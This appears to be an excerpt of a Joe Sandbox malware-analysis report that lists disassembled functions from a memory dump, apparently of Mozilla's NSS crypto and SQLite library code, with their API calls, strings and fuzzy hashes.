Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 78567ff5ae7bf57f3768106df3ed097e39ed84d5f27092f43171de6f1b7909ef
Instruction ID: 160ea4729a07efe57f7b23598f4b0b156b22397a0b5767c37455a3c67114b1ab
Opcode Fuzzy Hash: 78567ff5ae7bf57f3768106df3ed097e39ed84d5f27092f43171de6f1b7909ef
Instruction Fuzzy Hash: 8FE1B4716083019FD710CF28C880B5B77E5EF49348F14496DE98AABB61E731EC25CB6A

Function 6C641C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C641C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C641C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C641CA1
GetLengthSid.ADVAPI32(?), ref: 6C641CA9
malloc.MOZGLUE(00000000), ref: 6C641CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C641CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C641CE4
GetLengthSid.ADVAPI32(?), ref: 6C641CEC
malloc.MOZGLUE(00000000), ref: 6C641CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C641D0F
CloseHandle.KERNEL32(?), ref: 6C641D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C641D4D
GetLastError.KERNEL32 ref: 6C641D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C641D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C641D7A

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: c23683760331de0005acc12a6be0f2af73ef5e741bbb1b3f73919677db620d37
Instruction ID: 889e7f4f19c6208b2f5eaa78cd9e621a07d26bf1b1fbae05392763aab7ae4b2a
Opcode Fuzzy Hash: c23683760331de0005acc12a6be0f2af73ef5e741bbb1b3f73919677db620d37
Instruction Fuzzy Hash: F23153B1A01218AFEB11AF64DD48BAE7BF8FF49305F044075FA0992250EB315D94CF69

Function 6C643D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C643DFB
__allrem.LIBCMT ref: 6C643EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C643FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C644047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6440DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C64415F
__allrem.LIBCMT ref: 6C64416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C644288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6442AB
__allrem.LIBCMT ref: 6C6442B7

Strings

%03d, xrefs: 6C6442E8
%04d, xrefs: 6C64407B
%02d, xrefs: 6C644086
%lld, xrefs: 6C643FB2

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 3f933e64848c6bba9228d2f8778cae9c4d97d282940fe5d0145043946ec717b3
Instruction ID: f59378010d208610e0fd5f0b141a5aedc8739e4045eb2c189fef57281f03b2e4
Opcode Fuzzy Hash: 3f933e64848c6bba9228d2f8778cae9c4d97d282940fe5d0145043946ec717b3
Instruction Fuzzy Hash: 09F11271A087409FD715CF38C882BABB7F6AF86348F14CA2DE48597A51EB70D845CB46

Function 6C64EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64EF63

Part of subcall function 6C6587D0: PORT_NewArena_Util.NSS3(00000800,6C64EF74,00000000), ref: 6C6587E8
Part of subcall function 6C6587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C64EF74,00000000), ref: 6C6587FD
Part of subcall function 6C6587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C65884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C64F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C64F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C64F374
PL_strcasecmp.NSS3(6C792FD4,?), ref: 6C64F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C64F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C64F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C64F67D
CERT_DestroyName.NSS3(?), ref: 6C64F68B

Part of subcall function 6C658320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C658338
Part of subcall function 6C658320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C658364
Part of subcall function 6C658320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C65838E
Part of subcall function 6C658320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6583A5
Part of subcall function 6C658320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6583E3

Part of subcall function 6C6584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C6584D9
Part of subcall function 6C6584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C658528

Part of subcall function 6C658900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C658955

Strings

*, xrefs: 6C64F3C6
", xrefs: 6C64F21B
oid., xrefs: 6C64F2CF

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 22598b37596162ae80155a1fda50ee85aca069fdb968bfe1a9d20cb25e0c41ad
Instruction ID: e18ea9ed9a6248c5d47b41839ea4c31155bce88e10ac59415f4bc707a349553f
Opcode Fuzzy Hash: 22598b37596162ae80155a1fda50ee85aca069fdb968bfe1a9d20cb25e0c41ad
Instruction Fuzzy Hash: E122167160C3418FD714DE68C4907ABB7E6ABC531CF18CA2EE49587B91E7319805CB9B

Function 6C5F1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5F1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C5F1FB7

Strings

sqlite_temp_master, xrefs: 6C5F1C5C
another row available, xrefs: 6C5F2287
no more rows available, xrefs: 6C5F2264
attached databases must use the same text encoding as main database, xrefs: 6C5F20CA
unknown error, xrefs: 6C5F2291
table, xrefs: 6C5F1C8B
sqlite_master, xrefs: 6C5F1C61
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C5F1F83
abort due to ROLLBACK, xrefs: 6C5F2223
unsupported file format, xrefs: 6C5F2188

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: e9d6e25d4b1301a629decdaab88034caf591ce553bd529ce83203fd915f44e0f
Instruction ID: dc1ad510cc31742feb499a7abd4afdb76cee612a0da93e9c2a0ada6c17ea11f1
Opcode Fuzzy Hash: e9d6e25d4b1301a629decdaab88034caf591ce553bd529ce83203fd915f44e0f
Instruction Fuzzy Hash: 3612D0B16083418FD708CF19C884A5ABBF2BF85318F19896DD9A58BB51D731EC46CF92

Function 6C615F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

-, xrefs: 6C6162F9
ON clause references tables to its right, xrefs: 6C616BEC
NOCASE, xrefs: 6C618703
u, xrefs: 6C6181DA
-, xrefs: 6C616228
2, xrefs: 6C6165B4
BINARY, xrefs: 6C618708, 6C618737, 6C6187B8
sub-select returns %d columns - expected %d, xrefs: 6C61805F

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: ef9e66a27df0f6ae4f42e797fb2c848e2e05c2b4ec89acc460440e6ca3f00185
Instruction ID: 38c0cadda4c5b945b9cf3d4fe8c143e571acde7e5c9caab0efc9128707572667
Opcode Fuzzy Hash: ef9e66a27df0f6ae4f42e797fb2c848e2e05c2b4ec89acc460440e6ca3f00185
Instruction Fuzzy Hash: 8D43517460C3418FD304CF2DC490A5AB7E2FF89319F15866DE8998BB52D731E846CB96

Function 6C6BEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6BC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C6BDAE2,?), ref: 6C6BC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C6BF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C78218C), ref: 6C6BF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C6BF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C6BF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C6BF210

Part of subcall function 6C6652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C6BF1E9,?,00000000,?,?), ref: 6C6652F5
Part of subcall function 6C6652D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C66530F
Part of subcall function 6C6652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C665326
Part of subcall function 6C6652D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C6BF1E9,?,00000000,?,?), ref: 6C665340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BF227

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C6BF23E

Part of subcall function 6C6ABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6BF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C6BF3A8

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C6BF3B3

Part of subcall function 6C662D20: PK11_DestroyObject.NSS3(?,?), ref: 6C662D3C
Part of subcall function 6C662D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C662D5F

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 1c2e0493dd797767a4bcf1d1609de8033d9289cb4044825862a6fa28dabf5087
Instruction ID: 80cf96fd84a0ed2bac78895a38815606644b0437fb28ebfd1a2cf66311502bd0
Opcode Fuzzy Hash: 1c2e0493dd797767a4bcf1d1609de8033d9289cb4044825862a6fa28dabf5087
Instruction Fuzzy Hash: 9AD180B9E016059FDB10CF99D880A9EB7F5EF48308F148429D915B7721EB31E816CB99

Function 6C6EDE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002,00000000,?,6C6C7FFA,00000002), ref: 6C6EDE33

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C6ED000: PORT_ZAlloc_Util.NSS3(00000108,?,6C6EDE74,6C6C7FFA,00000002,?,?,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002), ref: 6C6ED008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002,00000000,?,6C6C7FFA,00000002), ref: 6C6EDE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C6EDEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6EE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6EE121
PK11_FreeSymKey.NSS3(?), ref: 6C6EE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C6EE195
PR_GetCurrentThread.NSS3 ref: 6C6EE1FC

Part of subcall function 6C6E2460: PR_SetError.NSS3(FFFFE005,00000000,6C787379,00000002,?), ref: 6C6E2493

Strings

early application data, xrefs: 6C6EDFC9
handshake data, xrefs: 6C6EDFF7
application data, xrefs: 6C6EDFE0
key, xrefs: 6C6EE046

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 8c67673fef736e6015c13a5f442bd6601ecc545e5d41a71abb3a9f9517509ab0
Instruction ID: fd703863d4fb07b108205b5ff99832ef7ec28ef4d0d96e680d82ffdc432529d2
Opcode Fuzzy Hash: 8c67673fef736e6015c13a5f442bd6601ecc545e5d41a71abb3a9f9517509ab0
Instruction Fuzzy Hash: 5FC12571B0A2059BDB04CF65CC84BEAB7B4FF4D308F14413AE9099BA51E331E955CBA9

Function 6C5DECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C5DEF98

Strings

database corruption, xrefs: 6C5DF48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DF483
%s at line %d of [%.10s], xrefs: 6C5DF492

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 9c13f20e17b05c92bffbeec1c53a7a0b13e4fe0f4d23a945d25e827bccfe629e
Instruction ID: 1338e076873cfff932da32471582f82806b0588efc20b7d9c458b78af9907f59
Opcode Fuzzy Hash: 9c13f20e17b05c92bffbeec1c53a7a0b13e4fe0f4d23a945d25e827bccfe629e
Instruction Fuzzy Hash: F162F270A043458FDB04CF6CCC44B9ABBB1AF45318F1A469DD8465BB92D771F886CB98

Function 6C67FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C67FD06

Part of subcall function 6C67F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C67F696
Part of subcall function 6C67F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C67F789
Part of subcall function 6C67F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C67F796
Part of subcall function 6C67F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C67F79F
Part of subcall function 6C67F670: SECITEM_DupItem_Util.NSS3 ref: 6C67F7F0

Part of subcall function 6C6A3440: PK11_GetAllTokens.NSS3 ref: 6C6A3481
Part of subcall function 6C6A3440: PR_SetError.NSS3(00000000,00000000), ref: 6C6A34A3
Part of subcall function 6C6A3440: TlsGetValue.KERNEL32 ref: 6C6A352E
Part of subcall function 6C6A3440: EnterCriticalSection.KERNEL32(?), ref: 6C6A3542
Part of subcall function 6C6A3440: PR_Unlock.NSS3(?), ref: 6C6A355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C67FDAD

Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C659003,?), ref: 6C6AFD91
Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(A4686C6B,?), ref: 6C6AFDA2
Part of subcall function 6C6AFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6B,?,?), ref: 6C6AFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C67FE00

Part of subcall function 6C6AFD80: free.MOZGLUE(00000000,?,?), ref: 6C6AFDD1

Part of subcall function 6C69E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C69E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C67FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C67FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C67FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C67FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C67FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C67FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C680007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C680029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C680044

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: e416e8f7e6d3978edf8e2080055305d421bd8308bc42f14c313bcb8d6fb14b49
Instruction ID: b990af6b15b6ac1fd24d98cf0d0623487ffe832766da8b78b6047aafeebbd8ae
Opcode Fuzzy Hash: e416e8f7e6d3978edf8e2080055305d421bd8308bc42f14c313bcb8d6fb14b49
Instruction Fuzzy Hash: 20B1C571504301AFE314CF29C840E6AB7E5FF89308F158A2DE95987A41EB70E945CBA6

Function 6C677D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C677DDC

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C677DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C677F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C677F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C677F98
PK11_FreeSymKey.NSS3(?), ref: 6C677FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C677FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C678000

